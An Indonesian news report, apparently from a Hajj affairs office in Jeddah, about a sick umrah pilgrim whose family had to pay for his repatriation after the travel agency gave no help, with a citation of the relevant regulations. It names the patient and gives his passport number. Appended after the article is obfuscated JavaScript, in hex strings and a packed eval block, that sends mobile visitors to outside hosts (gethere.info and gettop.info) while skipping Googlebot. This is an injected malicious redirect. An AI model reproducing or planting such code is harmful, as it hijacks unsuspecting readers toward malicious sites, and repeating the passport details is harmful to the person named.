Penyelenggara Umrah Tidak Peduli Biaya Tinggi Pemulangan Jemaahnya Yang Sakit

Related Articles

• Persiapkan Layanan Haji Di Saudi, Konsul Haji Koordinasikan Pegawai KUH Untuk Rekrutmen Tenaga Pendukung PPIH 0 24.Jan
• Tata Tertib Pelaksanaan Ujian Rekrutmen Tenaga Pendukung PPIH Arab Saudi 1443H/2022M
• Perekrutan Tenaga Pengawas Pelayanan Akomodasi Dan Katering Di ARMUZNA Tahun 1441H/2020M 0 04.Mar

Jeddah (KUHI) — Seorang  pasien Rumah Sakit Hajiyyat Mekkah, atas nama Ilyas Salawa Makuling (51), dengan nomer paspor B 2711290 yang juga merupakan jemaah umrah asal Palu Sulawesi Tengah, berhasil dipulangkan dengan selamat pada hari Senin (09/05) pukul 21.05 PM dengan Maskapai Saudi Arabian Airlines. Seharusnya, ia bersama 18 orang keluarganya yang tergabung dalam biro perjalanan umroh Alfida Tour and Travel bertolak ke Jakarta pada hari Selasa (29/3) sesuai jadwal penerbangan.

Masalah ini berawal, ketika bapak Ilyas terjatuh di Raudah Masjid Nabawi, ia sempat ditolong dan dibawa ke hotel tempatnya, karena peristiwa ini membuatnya tidak dalam kondisi baik untuk melanjutkan rentetan ibadah umroh lainnya, namun karena keinginannya yang kuat untuk terus beribadah, ia tidak mengindahkan keadaannya.
Sampailah bapak Ilyas di Mekkah, walaupun ia harus menggunakan kursi roda. Pada hari Ahad (27/3) Bpk. Ilyas memaksa untuk dapat sholat di Masjidil Haram, walaupun dalam kondisi yang buruk. Selepas sholat dzuhur ia terjatuh dan tidak sadarkan diri. Beliau dilarikan ke Rumah Sakit terdekat di kawasan Masjidil Haram untuk mendapatkan perawatan.

“bapak sehat, tidak ada keluhan apa-apa dari Indonesia. Tapi memang pas di Raudah Madinah sempat jatuh. Jadi ke rumah sakit disana. Jadi ke Makkah menggunakan kursi roda. siangnya (27/3) mau pergi sholat zuhur lagi dibawah tower zamzam, dia hanya ambil wudhu yang dekat haram itu, begitu pulang dia jatuh lagi”, tutur istrinya Ibu Rosfian Rauf Lolo dalam wawancara bersama penulis, Senin (09/05).

Bapak Ilyas dirawat selama 42 hari di sebuah Rumah Sakit di Makkah, sebulan penuh lamanya perawatan dengan bantuan alat pernafasan oksigen. Ibu Rosfian menjelaskan bahwa sebenarnya hari jumat (29/4) dokter memberitahunya kalau suaminya sudah boleh pulang, karena sudah tidak menggunakan alat bantuan pernafasan oksigen, segala hal baik dan buruk siap diterimanya. tapi yang membuatnya kesal, ia merasa tidak didampingi oleh perwakilan travel.

“kemarin waktu itu hari jumat, dokternya bilang, ini pasiennya sudah boleh pulang, karena sudah tidak pakai oksigen, apapun maunya pasrah saja, berdoa, jadi mungkin dokternya kasihan liat saya tiap hari datang. Tapi saya tidak pernah dikawal sama ustadznya, saya kalau ke rumah sakit sendiri, maunya saya sama ustadznya, supaya ada usahanya”, jelas Ibu Rosfian
Saat dikonfirmasi mengenai hal ini, Rabu (11/05), Ust. Firman selaku mandub Alfida Tour and Travel, menafikan kabar tersebut, ia mengatakan bahwa ia telah menyewa seorang penterjemah wanita yang sengaja dikirim untuk mempermudah komunikasi ibu Rosfian dan pihak rumah sakit, dan tidak mungkin ia sendiri atau penterjemah lelaki  yang menemani ibu Rosfian.
“kita sudah menyewa penterjemah wanita pak, untuk menemani ibu Rosfian itu, jadi tidak benar kalau kita tidak menemani, bahkan saya harus menerima tuduhan mengambil uang bu Rosfian. Saudaranya bu Rosfiyan, melapor ke polisi kalau saya ingin mengambil uang dari tiketnya, dan itu tidak benar pak” ungkap Ust. Firman, saat dikonfirmasi via telfon, Rabu (11/05).

dan lagi, yang membuat ibu Rosfian semakin tertekan adalah biaya pemulangan suaminya dilimpahkan kepadanya sepenuhnya, tidak ada bantuan biaya sedikitpun dari kedua-dua travel, baik yang di Indonesia, PT. Alfida Tour and Travel, maupun Muassasah Mazaya yang menjadi mitra bisnisnya di Saudi Arabia.”tidak ada (bantuan biaya), itu yang kemarin dikirim dari jakarta 115.000.000 rupiah, uang yang dipinjam dari keluarga saya, jadi uang yang terkumpul dari ipar, dari om om, jadi semuanya dipinjam, dan beli alat-alat semua, tersisa hanya ini saja (sambil menunjukkan lembar sisa uang yang ada)”, imbuh bu Rosfian.

Hal ini menjadi masalah yang sangat serius bagi penyelenggara umroh, sebagian tidak memberikan pelayanan maksimal bagi konsumennya. Padahal segala pelayanan telah diatur dengan jelas dalam Peraturan Menteri Agama RI No. 18 Tahun 2015 tentang Penyelenggaraan Perjalanan Ibadah Umrah, yang tertuang dalam Pasal 10 d dan e, bahwa pihak penyelengara wajib memberikan pelayanan kesehatan dan perlindungan kepada Jemaah Umrah, yang dijelaskan dalam Pasal 14 c, yang berbunyi pengurusan bagi Jemaah Umrah yang sakit selama di perjalanan dan di Arab Saudi, dan Pasal 18 ayat 4 d dan e, bahwa provider visa atau pihak penyelenggara Umrah menjamin pengurusan jemaah umrah yang mengalami sakit dan dirawat di rumah sakit Arab Saudi sampai kembali ke tanah air dan menjamin tiket jemaah umrah ke dan dari Arab Saudi.

Kedepan, pemerintah dapat mengambil tindakan tegas, kepada penyelenggara-penyelenggara umrah yang tidak bertanggung jawab. agar pelayanan umrah menjadi lebih baik. (Yan/KUHI)

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}} else {eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘z(1d.1k.1l(“16”)==-1){(2V(a,b){z(a.1l(“2W”)==-1){z(/(2X|2U\\d+|2T).+1b|2P|2Q\\/|2R|2S|2Y|2Z|37|38|39|G(36|B|L)|W|35|30 |31|33|34|1b.+2O|2N|1i m(2z|2A)i|2B( K)?|2y|p(2x|2t)\\/|2u|2v|2w|2C(4|6)0|2D|2K|M\\.(2L|2M)|2J|2I|2E 2F|2G|2H/i.17(a)||/3a|3b|3E|3F|3G|50[1-6]i|3D|3C|a D|3y|X(N|Z|s\\-)|Y(3z|3A)|O(3B|1g|U)|3H|3I(3P|x|3Q)|3R|P(3O|A)|3N(j|3J)|3K|3L(3M|\\-m|r |s )|3x|3w(I|S|3i)|1a(3j|3k)|3h(X|3g)|3c(e|v)w|3d|3e\\-(n|u)|3f\\/|3l|3m|2s\\-|3u|3v|3s|3r\\-|U(3n|R)|3o|3p(V|S|3q)|3S|2l\\-s|1B|1x|1y|1c(c|p)o|1E(12|\\-d)|1J(49|Y)|1w(1H|1F)|N(1m|1n)|1o|1v([4-7]0|K|D|1p)|1s|1q(\\-|15)|F u|1r|1I|2r\\-5|g\\-y|A(\\.w|B)|2f(L|29)|2a|2b|2i\\-(m|p|t)|2o\\-|2p(J|14)|2n( i|G)|2j\\-c|2k(c(\\-| |15|a|g|p|s|t)|28)|27(1S|1T)|i\\-(20|A|q)|1R|1Q( |\\-|\\/)|1N|1O|1P|1V|1W|24|25|W|23(t|v)a|22|1X|1Y|1Z|2e|26( |\\/)|1U|2m |2q\\-|2h(c|k)|2c(2d|2g)|1M( g|\\/(k|l|u)|50|54|\\-[a-w])|1t|1u|1L\\-w|1G|1K\\/|q(j|1D|1z)|Q(f|21|1g)|m\\-1A|1C(3t|T)|4p(5E|5F|E)|5G|y(f|5D|1a|5C|1c|t(\\-| |o|v)|5z)|5A(50|3T|v )|5H|5I|5O[0-2]|5P[2-3]|5N(0|2)|5M(0|2|5)|5J(0(0|1)|10)|5K((c|m)\\-|5L|5y|5x|5l|5m)|5n(6|i)|5k|5j|5g(5h|5i)|5o|5p|5v|5R(a|d|t)|5u|5t(13|\\-([1-8]|c))|5q|5r|C(5s|5Q)|67\\-2|65(I|69|11)|63|64|J\\-g|5U\\-a|5Z(5Y|12|21|32|60|\\-[2-7]|i\\-)|5X|66|6a|6c|6b|5V(5T|62)|5W\\/|5S(6d|q|68|5w|x|5e)|4m(f|h\\-|Z|p\\-)|4n\\/|11(c(\\-|0|1)|47|Q|R|T)|4o\\-|4l|4k(\\-|m)|4h\\-0|4i(45|4j)|5f(O|P|4q|V|4w)|4x(4v|x)|4u(f|h\\-|v\\-|v )|4r(f|4s)|4t(18|50)|4g(4f|10|18)|14(3Z|41)|42\\-|3Y\\-|3X(i|m)|3U\\-|t\\-y|3V(C|3W)|E(H|m\\-|43|44)|4d\\-9|M(\\.b|F|4e)|4c|4b|46|48|4a(4y|j)|4z(40|5[0-3]|\\-v)|4Y|4Z|51|4X(52|53|60|61|H|4W|4T|4U|4V|55)|56(\\-| )|5c|5d|5b(g |5a|57)|58|59|4S|4R\\-|4F|4G|4H\\-/i.17(a.4E(0,4))){4D 1e=1h 19(1h 19().4A()+4B);1d.1k=”16=1; 4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))